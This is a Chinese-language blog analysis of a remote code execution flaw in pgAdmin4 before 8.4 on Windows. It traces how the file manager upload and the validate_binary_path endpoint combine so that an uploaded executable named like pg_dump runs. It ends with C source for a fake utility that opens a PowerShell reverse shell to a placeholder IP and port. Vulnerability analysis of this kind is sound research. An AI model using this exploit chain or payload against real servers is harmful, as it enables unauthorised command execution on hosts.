前言
在有闲情的时候,看了一下最近的CVE
,看到了pgAdmin4
在8.4版本之前存在着一个远程代码执行漏洞,因为pgAdmin4
在github
是开源的,网上也没有看到分析文章,于是就把源码下载了下来,根据漏洞的描述大致的分析了一下代码的触发原因。
关于PgAdmin
pgAdmin4
根据网上的资料说,是免费开源的管理PostgreSQL
的数据库管理工具,应该就是类似于phpMyAdmin
那个样子,提供一个Web
网页端的界面,能够通过图形化的界面来操作PostgreSQL
数据库,比如说点击一些创建、删除、修改、查询等按钮能够执行相应的功能,为操作PostgreSQL
数据库更加的人性化,从源码上来看pgAdmin
是以Python Django
框架开发的,所以整个源码读起来并没有很困难。
笔者并没有接触过这个系统,所以下文从代码层面简单看看漏洞的成因。
从官方描述中找到的pgAdmin
的界面图:
pgAdmin4
漏洞分析
根据阿里云漏洞库的描述:当pgAdmin4
运行在Window平台
时,攻击者在登陆后可利用validate_binary_path
接口构造恶意请求造成远程代码执行,这里特意标明了系统的漏洞平台是Window平台
,这是我看到漏洞描述的时候比较疑惑而且注重的一个点。
根据漏洞的产生接口validate_binary_path
找到了所属的方法代码:
@blueprint.route("/validate_binary_path", endpoint="validate_binary_path", methods=["POST"]) @login_required def validate_binary_path(): data = None if hasattr(request.data, 'decode'): data = request.data.decode('utf-8') if data != '': data = json.loads(data) version_str = '' if 'utility_path' in data and data['utility_path'] is not None: binary_versions = get_binary_path_versions(data['utility_path']) for utility, version in binary_versions.items(): if version is None: version_str += "<b>" + utility + ":</b> " + \ "not found on the specified binary path.<br/>" else: version_str += "<b>" + utility + ":</b> " + version + "<br/>" else: return precondition_required(gettext('Invalid binary path.')) return make_json_response(data=gettext(version_str), status=200)
代码从request请求中获取
POST
方法中传输的数据,当获取到的不为空,则通过JSON
的形式解析,也就是这里传输JSON
数据的接口,如果utility_path
存在JSON
键中,则调用了get_binary_path_versions
方法解析成binary_versions
字典,随后循环遍历binary_versions
,产生一个响应的字符串version_str
,通过make_json_response
将version_str
返回到浏览器中。
在上面的路径处理的主要方法并没有看到与命令执行有关的东西,所以转向了它调用的方法,这里除了调用make_json_response
统一的返回响应方法,就只调用了get_binary_path_versions
,看看这个方法。
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql'] #在constants文件当中 def get_binary_path_versions(binary_path: str) -> dict: ret = {} binary_path = os.path.abspath( replace_binary_path(binary_path) ) for utility in UTILITIES_ARRAY: ret[utility] = None full_path = os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe'))) try: if not os.path.isdir(binary_path): current_app.logger.warning('Invalid binary path.') raise Exception() cmd = subprocess.run( [full_path, '--version'], shell=False, capture_output=True, text=True ) if cmd.returncode == 0: ret[utility] = cmd.stdout.split(") ", 1)[1].strip() else: raise Exception() except Exception as _: continue return ret def replace_binary_path(binary_path): if "$DIR" in binary_path: # When running as an WSGI application, we will not find the # '__file__' attribute for the '__main__' module. main_module_file = getattr( sys.modules['__main__'], '__file__', None ) if main_module_file is not None: binary_path = binary_path.replace( "$DIR", os.path.dirname(main_module_file) ) return binary_path
这个方法的代码接收
utility_path
路径的值,随后获取传入值的绝对路径,replace_binary_path
用于处理替换$DIR
为正确的路径,随后就进入了for
循环遍历UTILITIES_ARRAY
,将绝对路径与循环得到的值拼接,如果是Windows
系统则会添加上.exe
,随后判断路径是否存在,存在则调用subprocess.run
执行文件,输出版本号。也就是这个方法的本意在于调用pg_dump,psql或pg_dump.exe
等命令输出版本号。
这里存在着命令执行的条件就是subprocess.run()
,绝对路径full_path
的值也是我们可控的,如果存在类似于文件上传的点使得执行的程序可控,那么就可以进行远程命令执行,而在pgAdmin4
中也确实存在这样的功能。
方法对应的代码如下:
@blueprint.route( "/filemanager/<int:trans_id>/", methods=["POST"], endpoint='filemanager' ) @login_required def file_manager(trans_id): mode = '' kwargs = {} if req.method == 'POST': if req.files: mode = 'add' kwargs = {'req': req, 'storage_folder': req.form.get('storage_folder', None)} else: kwargs = json.loads(req.data) kwargs['req'] = req mode = kwargs['mode'] del kwargs['mode'] elif req.method == 'GET': kwargs = { 'path': req.args['path'], 'name': req.args['name'] if 'name' in req.args else '' } mode = req.args['mode'] ss = kwargs['storage_folder'] if 'storage_folder' in kwargs else None my_fm = Filemanager(trans_id, ss) if ss and mode in ['upload', 'rename', 'delete', 'addfolder', 'add', 'permission']: my_fm.check_access(ss) func = getattr(my_fm, mode) try: if mode in ['getfolder', 'download']: kwargs.pop('name', None) if mode in ['add']: kwargs.pop('storage_folder', None) if mode in ['addfolder', 'getfolder', 'rename', 'delete', 'is_file_exist', 'req', 'permission', 'download']: kwargs.pop('req', None) kwargs.pop('storage_folder', None) res = func(**kwargs) except PermissionError as e: return unauthorized(str(e)) if isinsta nce(res, Response): return res return make_json_response(data={'result': res, 'status': True})
方法通过请求的方式确实要执行的模式,如果是
POST
请求,则执行的模式是add
,随后创建了Filemanager
类,通过check_access
方法判断权限问题,随后通过getattr
获取到对应的add
方法,通过func(**kwargs)
的形式调用add
方法完成文件上传。
add
的方法如下,通过获取newfile
参数的内容和名称,将filename
名称和共享路径进行拼接,随后读取文件流,写入到文件中,完成文件上传的功能,最后以JSON
的形式返回路径的值和新的名称:
def add(self, req=None): if not self.validate_request('upload'): return unauthorized(self.ERROR_NOT_ALLOWED['Error']) if self.shared_dir: the_dir = self.shared_dir else: the_dir = self.dir if self.dir is not None else '' try: path = req.form.get('currentpath') file_obj = req.files['newfile'] file_name = file_obj.filename orig_path = "{0}{1}".format(the_dir, path) new_name = "{0}{1}".format(orig_path, file_name) try: if config.SERVER_MODE: pathlib.Path( os.path.abspath( os.path.join(the_dir, new_name) ) ).relative_to(the_dir) except ValueError: return unauthorized(self.ERROR_NOT_ALLOWED['Error']) with open(new_name, 'wb') as f: while True: data = file_obj.read(4194304) if not data: break f.write(data) except OSError as e: return internal_server_error("{0} {1}".format( gettext('There was an error adding the file:'), e.strerror)) Filemanager.check_access_permission(the_dir, path) return { 'Path': path, 'Name': new_name, }
也就说以上的条件是满足的,以文件上传控制执行的文件+full_path
控制路径的形式达到RCE
的效果。那么为什么仅限于Windows
系统呢,这个其实我也并不是很清楚,我个人认为是因为Windows
系统相对于Linux
系统的文件权限并没有那么严格,所以当你上传一个exe
文件的时候,不需要赋予执行的权限就可以直接执行,而linux
系统需要通过chmod +x
的形式赋予执行权限才能够执行导致漏洞利用失败导致的,
因此,通过编译成恶意的exe
的形式,上传到pgAdmin4
中并控制路径执行,即可达到RCE
的效果,比如将以下脚本编译成exe
即可反弹shell
,脚本参考自TechieNeurons
师傅。这里需要注意的是filename
的值并不是任意的,因为UTILITIES_ARRAY
的限制控制了最终的执行文件的命名,所以filename
的值只能是UTILITIES_ARRAY
中的一个。
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { if (argc > 1 && strcmp(argv[1], "--version") == 0) { system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ip',port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""); } else { printf("Usage: %s --version\n", argv[0]); } return 0; }